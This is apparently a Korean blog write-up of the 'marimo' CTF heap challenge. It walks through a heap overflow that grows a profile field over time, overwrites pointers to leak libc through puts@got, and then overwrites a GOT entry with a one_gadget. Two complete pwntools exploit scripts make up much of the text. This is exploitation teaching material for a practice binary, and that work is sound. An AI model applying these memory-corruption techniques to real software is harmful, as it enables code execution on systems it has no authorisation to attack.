# Protection Tech
# process
1. 2개의 marimo 생성
marimo는 Buy() 함수에서 사서 malloc 할 수 있는데, 돈이 부족하다.
main 함수의 switch 문 전의 while 문에서 메뉴 선택 값을 저장하는 변수 v3 값을 매개변수로 넘겨서 조건을 확인하는 코드가 있다.
v3로 "show me the marimo"를 주면 청크가 0x18 크기인 marimo 하나를 생성해준다.
이때 size와 가격은 각각 1과 5로 지정되어있다.
그리고 sub_400eed 함수를 호출해서 v1(heap 주소), 1(marimo size), 5(price)를 넘겨준다.
marimo의 구조를 확인할 수 있다.
marimo 2개를 생성한 후 heap 구조는 위와 같다.
2. heap overflow 조건 생성
a1은 marimo가 생성된 시간이다.
따라서 v4는 (현재시간-생성시간)으로 marimo의 size가 된다.
흐른시간이 클수록 size를 늘릴 수 있다.
sub_400FF9 함수는 a1+2, 즉 profile에 32*v3만큼 입력받는다.
profile 크기는 원래 0x20인데 32*v3만큼 입력받으므로 heap overflow를 발생시킬 수 있다.
sleep 함수로 2,3 초 정도 쉬면 충분하다.
3. marimo_0의 profile 수정 -> marimo_1의 name과 profile overwrite
marimo의 profile에 입력할 수 있는 크기가 커진 상태이다.
view 함수에서 M을 선택해서 marimo_0의 profile을 수정할 때
노란색으로 표시한 부분을 덮고, 마지막 marimo_1의 name 포인터와 profile 포인터를 각각 GOT로 덮는다.
name은 marimo_1의 정보를 출력할 때 name에서 libc leak을 하고, profile을 덮을 때는 GOT overwrite을 할 것이다.
주의해야 할 점은 marimo_1의 구조, 특히 생성시간을 저장하는 부분을 건들이면 안 된다는 것이다. (사이즈 부분도)
profile(0x20) + p64(0) + p64(0x21) + p32(0x5e3eca5b) + p32(1) + p64(puts@got) + p64(puts@got)
로 marimo_1의 구조는 유지해주면서 덮었다.
다시 한 번 Modify or Back으로 입력받을 때는 B을 선택한다.
4. libc leak
3에서 marimo_1의 name을 got로 덮었다.
따라서 view(1)을 하면 name에서 got가 출력되므로 libcBase와 one_gadget 주소를 구한다.
5. GOT overwrite
3에서 marimo_1의 profile을 got로 덮었었다.
4 이후 Modify or Back 선택 시 'M'을 선택한다.
one_gadget을 전달해서 got를 덮는다.
이때 덮는 got는 이후에 사용될 함수 중에서 덮는데, got table에서 덮는 함수 뒤에는 0이 된다.
뒤에 0이 되면 안 되는 함수가 없도록 하는 got를 선택한다.
# exploit code
- exploit 1
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./marimo")
gdb.attach(p)
elf = ELF("./marimo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got = elf.got['puts']
offset = 0x45216
def marimo():
p.sendlineafter(">> ", "show me the marimo")
p.sendlineafter(">> ", 'A')
p.sendlineafter(">> ", 'B')
def view(num):
p.sendlineafter(">> ", 'V')
p.sendlineafter(">> ", str(num))
def modify(profile):
p.sendlineafter(">> ", 'M')
p.sendlineafter(">> ", profile)
marimo()
marimo()
sleep(3)
view(0)
modify(p64(0)*5 + p64(0x21) + p32(0x5e3eca5b) + p32(1) + p64(puts_got)*2)
p.sendlineafter(">> ", 'B')
view(1)
p.recvuntil("name : ")
puts = u64(p.recv(6).ljust(8, "\x00"))
libcBase = puts - libc.symbols['puts']
one_gadget = libcBase + offset
log.info("puts : "+hex(puts))
modify(p64(one_gadget))
p.interactive()
- exploit 2
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = process("./marimo")
gdb.attach(p)
elf = ELF("./marimo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got = elf.got['puts']
strcmp_got = elf.got['strcmp']
srand_got = elf.got['srand']
def marimo():
p.sendlineafter(">> ", "show me the marimo")
p.sendlineafter(">> ", "AAAA")
p.sendlineafter(">> ", "BBBB")
def view(num):
p.sendlineafter(">> ", 'V')
p.sendlineafter(">> ", str(num))
def modify(a):
p.sendlineafter(">> ", 'M')
p.sendlineafter(">> ", a)
p.sendlineafter(">> ", 'B')
# malloc
marimo()
marimo()
# make profile size bigger
sleep(2)
# modify marimo2's name -> puts@got
view(0)
pay = p64(0)*5 + p64(0x21) + p32(0x5e3eca5b) + p32(1) + p64(srand_got) + p64(puts_got)
modify(pay)
# libc leak
view(1)
p.recvuntil("name : ")
srand = u64(p.recv(6) + "\x00\x00")
libcBase = srand - libc.symbols['srand']
one_gadget = libcBase + 0x45216
log.info("srand : "+hex(srand))
log.info("libcBase : "+hex(libcBase))
# marimo2's profile -> malloc_hook
p.sendlineafter(">> ", 'M')
p.sendafter(">> ", p64(one_gadget))
p.interactive()
# exploit
- exploit 1
- exploit 2
baby_heap_1 (unsorted bin attack) (0) | 2020.02.28 |
---|---|
[HITCON-Training] lab11 bamboobox (unsafe unlink) (0) | 2020.02.28 |
[picoCTF 2018] echo back (0) | 2020.02.07 |
[picoCTF 2018] authenticate (0) | 2020.01.31 |
[picoCTF 2018] can you gets me (0) | 2020.01.31 |